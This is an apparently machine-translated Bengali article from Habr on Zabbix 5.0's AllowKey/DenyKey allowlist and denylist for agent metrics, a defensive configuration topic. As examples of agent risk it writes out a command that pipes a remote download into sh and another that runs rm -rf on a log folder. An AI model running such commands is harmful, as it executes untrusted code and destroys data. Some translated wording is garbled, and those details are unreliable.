Zabbix 5.0-এ এজেন্ট-সাইড মেট্রিক্সের জন্য ব্ল্যাকলিস্ট এবং হোয়াইটলিস্ট সমর্থন

এজেন্ট-সাইড মেট্রিক্সের জন্য ব্ল্যাকলিস্ট এবং হোয়াইটলিস্ট সমর্থন

টিখন উসকভ, ইন্টিগ্রেশন ইঞ্জিনিয়ার, জাবিক্স

ডেটা নিরাপত্তা সমস্যা

Zabbix 5.0 এর একটি নতুন বৈশিষ্ট্য রয়েছে যা আপনাকে Zabbix এজেন্ট ব্যবহার করে সিস্টেমে নিরাপত্তা উন্নত করতে দেয় এবং পুরানো প্যারামিটার প্রতিস্থাপন করে RemoteCommands সক্ষম করুন.

এজেন্ট-ভিত্তিক সিস্টেমের নিরাপত্তার উন্নতি এই সত্য থেকে উদ্ভূত হয় যে একজন এজেন্ট বিপুল সংখ্যক সম্ভাব্য বিপজ্জনক কর্ম সম্পাদন করতে পারে।

• এজেন্ট কনফিগারেশন ফাইল, লগ ফাইল, পাসওয়ার্ড ফাইল বা অন্য কোনো ফাইল থেকে গোপনীয় বা সম্ভাব্য বিপজ্জনক তথ্য সহ প্রায় যেকোনো তথ্য সংগ্রহ করতে পারে।

উদাহরণস্বরূপ, zabbix_get ইউটিলিটি ব্যবহার করে আপনি ব্যবহারকারীদের তালিকা, তাদের হোম ডিরেক্টরি, পাসওয়ার্ড ফাইল ইত্যাদি অ্যাক্সেস করতে পারেন।

zabbix_get ইউটিলিটি ব্যবহার করে ডেটা অ্যাক্সেস করা হচ্ছে

উল্লেখ্য. যদি এজেন্ট সংশ্লিষ্ট ফাইলে পড়ার অনুমতি থাকে তবেই ডেটা পুনরুদ্ধার করা যেতে পারে. কিন্তু, উদাহরণস্বরূপ, ফাইল /etc/passwd/ সমস্ত ব্যবহারকারীদের দ্বারা পঠনযোগ্য।

• এজেন্ট সম্ভাব্য বিপজ্জনক কমান্ডও চালাতে পারে। উদাহরণস্বরূপ, কী *system.run[]** আপনাকে নেটওয়ার্ক নোডগুলিতে যেকোন দূরবর্তী কমান্ড চালানোর অনুমতি দেয়, যার মধ্যে জ্যাবিক্স ওয়েব ইন্টারফেস থেকে চলমান স্ক্রিপ্টগুলি রয়েছে যা এজেন্ট সাইডে কমান্ডগুলিও চালায়।

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• লিনাক্সে, এজেন্টটি রুট সুবিধা ছাড়াই ডিফল্টভাবে চলে, যখন উইন্ডোজে এটি সিস্টেম হিসাবে একটি পরিষেবা হিসাবে চলে এবং ফাইল সিস্টেমে সীমাহীন অ্যাক্সেস রয়েছে। তদনুসারে, যদি ইনস্টলেশনের পরে Zabbix এজেন্ট প্যারামিটারে কোনো পরিবর্তন না করা হয়, এজেন্টের রেজিস্ট্রি, ফাইল সিস্টেমে অ্যাক্সেস থাকে এবং WMI প্রশ্নগুলি চালাতে পারে।

পূর্ববর্তী সংস্করণে পরামিতি RemoteCommands সক্রিয় করুন=0 শুধুমাত্র কী দিয়ে মেট্রিক্স অক্ষম করার অনুমতি দেওয়া হয়েছে *system.run[]** এবং ওয়েব ইন্টারফেস থেকে স্ক্রিপ্টগুলি চলমান, তবে পৃথক ফাইলগুলিতে অ্যাক্সেস সীমাবদ্ধ করার, এজেন্টের সাথে ইনস্টল করা পৃথক কীগুলিকে অনুমতি বা অক্ষম করার বা পৃথক প্যারামিটারের ব্যবহার সীমিত করার কোনও উপায় ছিল না।

Zabbix এর পূর্ববর্তী সংস্করণগুলিতে EnableRemoteCommand প্যারামিটার ব্যবহার করে

AllowKey/DenyKey

Zabbix 5.0 এজেন্ট সাইডে মেট্রিক্সের অনুমতি এবং অস্বীকার করার জন্য সাদাতালিকা এবং কালো তালিকা প্রদান করে এই ধরনের অননুমোদিত অ্যাক্সেস থেকে রক্ষা করতে সাহায্য করে।

Zabbix 5.0-তে * সহ সমস্ত কীsystem.run[]** সক্রিয় করা হয়েছে, এবং দুটি নতুন এজেন্ট কনফিগারেশন বিকল্প যোগ করা হয়েছে:

AllowKey= - অনুমোদিত চেক;

DenyKey= - নিষিদ্ধ চেক;

যেখানে প্যারামিটার সহ একটি মূল নামের প্যাটার্ন যা মেটাক্যারেক্টার (*) ব্যবহার করে।

AllowKey এবং DenyKey কীগুলি আপনাকে একটি নির্দিষ্ট প্যাটার্নের উপর ভিত্তি করে পৃথক মেট্রিক্সের অনুমতি বা অস্বীকার করার অনুমতি দেয়। অন্যান্য কনফিগারেশন প্যারামিটারের বিপরীতে, AllowKey/DenyKey প্যারামিটারের সংখ্যা সীমিত নয়। এটি আপনাকে চেকের একটি ট্রি তৈরি করে সিস্টেমে এজেন্ট ঠিক কী করতে পারে তা স্পষ্টভাবে সংজ্ঞায়িত করতে দেয় - এক্সিকিউটেবল কী, যেখানে সেগুলি যে ক্রমে লেখা হয়েছে তা একটি খুব গুরুত্বপূর্ণ ভূমিকা পালন করে।

নিয়মের ক্রম

নিয়মগুলি যে ক্রমে কনফিগারেশন ফাইলে প্রবেশ করানো হয় সেই ক্রমে চেক করা হয়। প্রথম ম্যাচের আগে নিয়ম অনুযায়ী কী চেক করা হয় এবং ডাটা এলিমেন্টের কী প্যাটার্নের সাথে মেলে, এটি অনুমোদিত বা অস্বীকার করা হয়। এর পরে, নিয়ম পরীক্ষা করা বন্ধ হয়ে যায় এবং অবশিষ্ট কীগুলি উপেক্ষা করা হয়।

অতএব, যদি একটি উপাদান অনুমতি এবং অস্বীকার উভয় নিয়মের সাথে মিলে যায়, ফলাফলটি কনফিগারেশন ফাইলে কোন নিয়মটি প্রথমে রয়েছে তার উপর নির্ভর করবে।

একই প্যাটার্ন এবং একটি কী সহ 2টি ভিন্ন নিয়ম vfs.file.size[/tmp/file]

AllowKey/DenyKey কী ব্যবহার করার ক্রম:

1. সঠিক নিয়ম,
2. সপ্তাহের দিন,
3. নিষিদ্ধ নিয়ম।

উদাহরণস্বরূপ, যদি আপনার একটি নির্দিষ্ট ফোল্ডারে ফাইলগুলিতে অ্যাক্সেসের প্রয়োজন হয় তবে আপনাকে প্রথমে সেগুলিতে অ্যাক্সেসের অনুমতি দিতে হবে এবং তারপরে প্রতিষ্ঠিত অনুমতিগুলির মধ্যে পড়ে না এমন সমস্ত কিছু অস্বীকার করতে হবে। অস্বীকার করার নিয়মটি প্রথমে ব্যবহার করা হলে, ফোল্ডারে অ্যাক্সেস অস্বীকার করা হবে।

সঠিক ক্রম

আপনি যদি * এর মাধ্যমে 2টি ইউটিলিটি চালানোর অনুমতি দিতে চানsystem.run[]**, এবং অস্বীকার করার নিয়মটি প্রথমে নির্দিষ্ট করা হবে, ইউটিলিটিগুলি চালু করা হবে না, কারণ প্রথম প্যাটার্ন সর্বদা যেকোনো কী-এর সাথে মেলে এবং পরবর্তী নিয়মগুলি উপেক্ষা করা হবে।

ভুল ক্রম

প্যাটার্নস

মৌলিক নিয়ম

প্যাটার্ন হল ওয়াইল্ডকার্ড সহ একটি অভিব্যক্তি। মেটাক্যারেক্টার (*) একটি নির্দিষ্ট অবস্থানে যেকোনো অক্ষরের যেকোনো সংখ্যার সাথে মেলে। মেটাক্যারেক্টারগুলি কী নাম এবং প্যারামিটার উভয় ক্ষেত্রেই ব্যবহার করা যেতে পারে। উদাহরণস্বরূপ, আপনি পাঠ্যের সাথে প্রথম প্যারামিটারটিকে কঠোরভাবে সংজ্ঞায়িত করতে পারেন, এবং পরবর্তীটিকে ওয়াইল্ডকার্ড হিসেবে উল্লেখ করুন.

পরামিতিগুলি অবশ্যই বর্গাকার বন্ধনীতে আবদ্ধ থাকতে হবে []।

• system.run[* - ভুল
• vfs.file*.txt] - ভুল
• vfs.file.*[*] - ঠিক

ওয়াইল্ডকার্ড ব্যবহারের উদাহরণ।

1. কী নামে এবং প্যারামিটারে। এই ক্ষেত্রে, কীটি অনুরূপ কীটির সাথে মিলিত হয় না যেটিতে একটি প্যারামিটার নেই, যেহেতু প্যাটার্নে আমরা নির্দেশ করেছি যে আমরা কী নামের একটি নির্দিষ্ট সমাপ্তি এবং পরামিতিগুলির একটি নির্দিষ্ট সেট পেতে চাই।
2. যদি প্যাটার্নটি বর্গাকার বন্ধনী ব্যবহার না করে, তাহলে প্যাটার্নটি সমস্ত কীগুলিকে অনুমতি দেয় যাতে প্যারামিটার থাকে না এবং নির্দিষ্ট প্যারামিটার ধারণ করে এমন সমস্ত কীগুলিকে অস্বীকার করে৷
3. যদি কীটি সম্পূর্ণরূপে লেখা হয় এবং প্যারামিটারগুলি ওয়াইল্ডকার্ড হিসাবে নির্দিষ্ট করা হয়, তবে এটি যেকোন প্যারামিটারের সাথে অনুরূপ কীটির সাথে মিলবে এবং বর্গাকার বন্ধনী ছাড়া কীটির সাথে মিলবে না, অর্থাৎ এটি অনুমোদিত বা অস্বীকার করা হবে।

পরামিতি পূরণ করার নিয়ম।

• যদি পরামিতি সহ একটি কী ব্যবহার করার উদ্দেশ্যে হয়, তাহলে কনফিগারেশন ফাইলে পরামিতিগুলি নির্দিষ্ট করা আবশ্যক। পরামিতি একটি মেটা অক্ষর হিসাবে নির্দিষ্ট করা আবশ্যক. যেকোন ফাইলের অ্যাক্সেসকে সাবধানে অস্বীকার করা এবং বিভিন্ন বানানের অধীনে - প্যারামিটার সহ এবং ছাড়া মেট্রিক কী তথ্য সরবরাহ করতে পারে তা বিবেচনায় নেওয়া প্রয়োজন।

পরামিতি সহ কী লেখার বৈশিষ্ট্য

• যদি একটি কী পরামিতি সহ নির্দিষ্ট করা হয়, কিন্তু পরামিতিগুলি ঐচ্ছিক এবং একটি মেটাক্যারেক্টার হিসাবে নির্দিষ্ট করা হয়, তাহলে প্যারামিটার ছাড়াই একটি কী সমাধান করা হবে। উদাহরণস্বরূপ, যদি আপনি CPU-তে লোড সম্পর্কে তথ্য প্রাপ্তি নিষ্ক্রিয় করতে চান এবং উল্লেখ করেন যে system.cpu.load[*] কী নিষ্ক্রিয় করা উচিত, ভুলে যাবেন না যে প্যারামিটার ছাড়া কীটি গড় লোড মান প্রদান করবে।

পরামিতি পূরণের নিয়ম

মন্তব্য

সমন্বয়

• কিছু নিয়ম ব্যবহারকারী দ্বারা পরিবর্তন করা যায় না, উদাহরণস্বরূপ, আবিষ্কারের নিয়ম বা এজেন্ট স্বয়ংক্রিয়-নিবন্ধন নিয়ম। AllowKey/DenyKey নিয়মগুলি নিম্নলিখিত পরামিতিগুলিকে প্রভাবিত করে না:
  - হোস্টনাম আইটেম
  - হোস্টমেটাডেটা আইটেম
  - হোস্ট ইন্টারফেস আইটেম

উল্লেখ্য. যদি একজন প্রশাসক একটি কী নিষ্ক্রিয় করে, যখন জিজ্ঞাসা করা হয়, Zabbix কেন মেট্রিক বা কী ' বিভাগে পড়ে সে সম্পর্কে তথ্য প্রদান করে নাসমর্থিত নয়' এজেন্ট লগ ফাইলগুলিতে রিমোট কমান্ড চালানোর উপর নিষেধাজ্ঞা সম্পর্কে তথ্যও প্রদর্শিত হয় না। এটি নিরাপত্তার কারণে, কিন্তু কোনো কারণে মেট্রিকগুলি অসমর্থিত বিভাগে পড়ে গেলে ডিবাগিং জটিল হতে পারে.

• বাহ্যিক কনফিগারেশন ফাইলগুলিকে সংযুক্ত করার জন্য আপনার কোন নির্দিষ্ট অর্ডারের উপর নির্ভর করা উচিত নয় (উদাহরণস্বরূপ, বর্ণানুক্রমিক ক্রমে)।

কমান্ড লাইন ইউটিলিটি

নিয়ম সেট আপ করার পরে, আপনাকে নিশ্চিত করতে হবে যে সবকিছু সঠিকভাবে কনফিগার করা হয়েছে।

আপনি তিনটি বিকল্পের একটি ব্যবহার করতে পারেন:

• Zabbix-এ একটি মেট্রিক যোগ করুন।
• সঙ্গে পরীক্ষা zabbix_agentd. বিকল্প সহ Zabbix এজেন্ট -মুদ্রণ (-পি) কনফিগারেশন দ্বারা অনুমোদিত নয় এমন সব কী (যা ডিফল্টরূপে অনুমোদিত) দেখায়। এবং বিকল্প সঙ্গে -পরীক্ষা (-টি) একটি নিষিদ্ধ চাবি ফিরে আসবে'অসমর্থিত আইটেম কী'.
• সঙ্গে পরীক্ষা zabbix_get. ইউটিলিটি zabbix_get বিকল্প সহ -k ফিরে আসবে 'ZBX_NOTSUPPORTED: অজানা মেট্রিক'.

অনুমতি দিন বা অস্বীকার করুন

আপনি একটি ফাইলের অ্যাক্সেস অস্বীকার করতে পারেন এবং যাচাই করতে পারেন, উদাহরণস্বরূপ, ইউটিলিটি ব্যবহার করে৷ zabbix_getযে ফাইল অ্যাক্সেস অস্বীকার করা হয়.

**

উল্লেখ্য. প্যারামিটারে উদ্ধৃতি উপেক্ষা করা হয়.

এই ক্ষেত্রে, এই ধরনের একটি ফাইল অ্যাক্সেস একটি ভিন্ন পাথ মাধ্যমে অনুমোদিত হতে পারে. উদাহরণস্বরূপ, যদি একটি সিমলিঙ্ক এটির দিকে নিয়ে যায়।

নির্দিষ্ট নিয়মগুলি প্রয়োগ করার জন্য বিভিন্ন বিকল্পগুলি পরীক্ষা করার পরামর্শ দেওয়া হয় এবং নিষেধাজ্ঞাগুলিকে ফাঁকি দেওয়ার সম্ভাবনাগুলিও বিবেচনায় নেওয়া হয়।

প্রশ্নোত্তর

প্রশ্ন. কেন নিয়ম, অনুমতি এবং নিষেধাজ্ঞা বর্ণনা করার জন্য নিজের ভাষা সহ এমন একটি জটিল প্যাটার্ন বেছে নেওয়া হয়েছিল? কেন এটি ব্যবহার করা সম্ভব ছিল না, উদাহরণস্বরূপ, নিয়মিত অভিব্যক্তি যা Zabbix ব্যবহার করে?

উত্তর. এটি একটি রেজেক্স পারফরম্যান্স সমস্যা কারণ সাধারণত শুধুমাত্র একটি এজেন্ট থাকে এবং এটি বিপুল সংখ্যক মেট্রিক্স পরীক্ষা করে। Regex বেশ ভারী অপারেশন এবং আমরা এভাবে হাজার হাজার মেট্রিক পরীক্ষা করতে পারি না। ওয়াইল্ডকার্ড - একটি সর্বজনীন, ব্যাপকভাবে ব্যবহৃত এবং সহজ সমাধান.

প্রশ্ন. বর্ণানুক্রমিক ক্রমে অন্তর্ভুক্ত ফাইল অন্তর্ভুক্ত করা হয় না?

উত্তর. যতদূর আমি জানি, আপনি যদি বিভিন্ন ফাইল জুড়ে নিয়মগুলি ছড়িয়ে দেন তবে কোন নিয়মে নিয়ম প্রয়োগ করা হবে তা ভবিষ্যদ্বাণী করা কার্যত অসম্ভব। আমি একটি অন্তর্ভুক্ত ফাইলে সমস্ত AllowKey/DenyKey নিয়মগুলি সংগ্রহ করার পরামর্শ দিই, কারণ তারা একে অপরের সাথে ইন্টারঅ্যাক্ট করে এবং এই ফাইলটি সহ.

প্রশ্ন. Zabbix 5.0 এ বিকল্প 'RemoteCommands সক্রিয় করুন=' কনফিগারেশন ফাইল থেকে অনুপস্থিত, এবং শুধুমাত্র AllowKey/DenyKey উপলব্ধ?

উত্তর. হ্যা, তা ঠিক.

আপনার মনোযোগের জন্য আপনাকে ধন্যবাদ!

উত্স: www.habr.com